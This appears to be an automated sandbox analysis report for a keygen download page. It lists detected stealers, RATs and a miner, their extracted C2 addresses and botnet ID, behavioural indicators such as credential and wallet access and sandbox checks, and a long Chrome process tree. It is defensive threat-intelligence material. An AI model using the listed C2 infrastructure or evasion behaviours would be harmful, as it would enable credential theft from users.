Analysis
-
max time kernel
1800s -
max time network
1798s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
23-04-2021 19:22
General
-
Target
https://keygenit.com/d/9472d2406f110qn26n09.html
-
Sample
210423-33ykj41b36
Score
10/10
Malware Config
Extracted
Family
raccoon
Botnet
562d987fd49ccf22372ac71a85515b4d288facd7
Attributes
-
url4cnc
https://telete.in/j90dadarobin
rc4.plain
rc4.plain
Extracted
Family
fickerstealer
C2
sodaandcoke.top:80
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Detected facebook phishing page
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
-
fickerstealer
Ficker is an infostealer written in Rust and ASM.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
XMRig Miner Payload 1 IoCs
-
Blocklisted process makes network request 5 IoCs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
-
Executes dropped EXE 64 IoCs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 4 IoCs
-
Loads dropped DLL 64 IoCs
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
-
Checks for any installed AV software in registry 1 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 2 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 10 IoCs
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
-
Suspicious use of SetThreadContext 11 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
-
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 1 IoCs
-
Download via BitsAdmin 1 TTPs 1 IoCs
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Kills process with taskkill 2 IoCs
-
Modifies Internet Explorer settings 1 TTPs 7 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 64 IoCs
-
Modifies system certificate store 2 TTPs 4 IoCs
-
NTFS ADS 2 IoCs
-
Runs ping.exe 1 TTPs 5 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 21 IoCs
-
Suspicious use of SetWindowsHookEx 10 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenit.com/d/9472d2406f110qn26n09.html1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffafbdb4f50,0x7ffafbdb4f60,0x7ffafbdb4f702⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1612 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1672 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2168 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2880 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2896 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3648 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3680 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3688 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4880 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4832 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6116 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6268 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6272 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6392 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6404 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6164 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6132 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6296 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6396 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings2⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x1f8,0x248,0x7ff66444a890,0x7ff66444a8a0,0x7ff66444a8b03⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6044 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6104 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6240 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6156 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6652 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5716 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5688 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5748 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6916 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5544 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5456 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5316 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7236 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7248 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7260 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7272 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7284 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7296 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7308 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7340 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7304 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7204 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8260 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8268 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8280 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5812 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6924 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5556 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7248 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5716 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7588 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5376 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8304 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6196 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6044 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2156 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8140 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2496 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=7220 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4068 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6088 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5548 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4144 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5132 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8728 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2628 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8504 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8292 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8544 /prefetch:82⤵
-
